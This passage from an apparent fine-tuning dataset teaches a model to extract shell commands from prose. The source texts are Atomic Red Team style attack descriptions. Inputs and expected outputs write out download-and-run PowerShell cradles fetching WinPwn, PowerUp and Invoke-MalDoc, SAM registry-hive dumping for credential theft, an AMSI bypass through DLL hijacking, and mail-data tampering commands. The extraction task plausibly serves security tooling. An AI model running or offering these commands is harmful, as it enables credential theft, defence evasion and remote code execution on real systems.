    "output": "{\"command_list\": [\"csrutil status\\n\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nwinPEAS -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute an encoded VBS script from a malicious document, which will display a message box with 'ART T1059.005' upon success, use the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059.005-macrocode.txt\" -officeProduct \"Word\" -sub \"Exec\"\nNote that this requires a 64-bit version of Microsoft Office.; The module mimics malware behavior by extracting data from memory to $env:TEMP\\atomic_t1059_005_test_output.bin, using this multi-step command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-Maldoc -macroFile \"PathToAtomicsFolder\\T1059.005\\src\\T1059_005-macrocode.txt\" -officeProduct \"Word\" -sub \"Extract\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059.005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Exec\\\"\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing) \\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1059.005\\\\src\\\\T1059_005-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For credential looting via SAM file dumping, execute the following WinPwn function:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive; You can export three critical registry keys (SAM, System, and Security) with this command sequence: \nreg export HKLM\\sam %temp%\\sam\nreg export HKLM\\system %temp%\\system\nreg export HKLM\\security %temp%\\security\n\nThe resulting files will be stored in the %temp% directory upon completion.",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsamfile -consoleoutput -noninteractive  \", \"reg export HKLM\\\\sam %temp%\\\\sam\\nreg export HKLM\\\\system %temp%\\\\system\\nreg export HKLM\\\\security %temp%\\\\security\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation copies mail data to a temporary location before deletion, executed via the command:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore; For copying mail data before deletion, run the following: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\n",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\", \"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries can bypass AMSI by hijacking library loading with the following sequence: copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit; To ensure WinAppXRT.dll is loaded every time a .NET application is launched, perform these steps by executing the following commands: copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\nren %APPDATA%\\amsi.dll WinAppXRT.dll\ncopy %APPDATA%\\WinAppXRT.dll %windir%\\System32\\WinAppXRT.dll\nreg add \"HKEY_CURRENT_USER\\Environment\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \"1\" /f",
    "output": "{\"command_list\": [\"copy %windir%\\\\System32\\\\windowspowershell\\\\v1.0\\\\powershell.exe %APPDATA%\\\\updater.exe\\ncopy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\n%APPDATA%\\\\updater.exe -Command exit\\n\", \"copy %windir%\\\\System32\\\\amsi.dll %APPDATA%\\\\amsi.dll\\nren %APPDATA%\\\\amsi.dll WinAppXRT.dll\\ncopy %APPDATA%\\\\WinAppXRT.dll %windir%\\\\System32\\\\WinAppXRT.dll\\nreg add \\\"HKEY_CURRENT_USER\\\\Environment\\\" /v APPX_PROCESS /t REG_EXPAND_SZ /d \\\"1\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation copies Windows mail data and modifies it with the command: New-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \"Modification for Atomic Red Test\" -ErrorAction Ignore }\n; This operation copies mail data and appends a modification line, which can be executed via the command: mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; if [ -f \"/var/spool/mail/copy/$(basename \"$file\")\" ]; then echo \"Modification for Atomic Red Test\" >> \"/var/spool/mail/copy/$(basename \"$file\")\"; fi; fi; done",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -File | ForEach-Object { Add-Content -Path $_.FullName -Value \\\"Modification for Atomic Red Test\\\" -ErrorAction Ignore }\\n\", \"mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; if [ -f \\\"/var/spool/mail/copy/$(basename \\\"$file\\\")\\\" ]; then echo \\\"Modification for Atomic Red Test\\\" >> \\\"/var/spool/mail/copy/$(basename \\\"$file\\\")\\\"; fi; fi; done\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
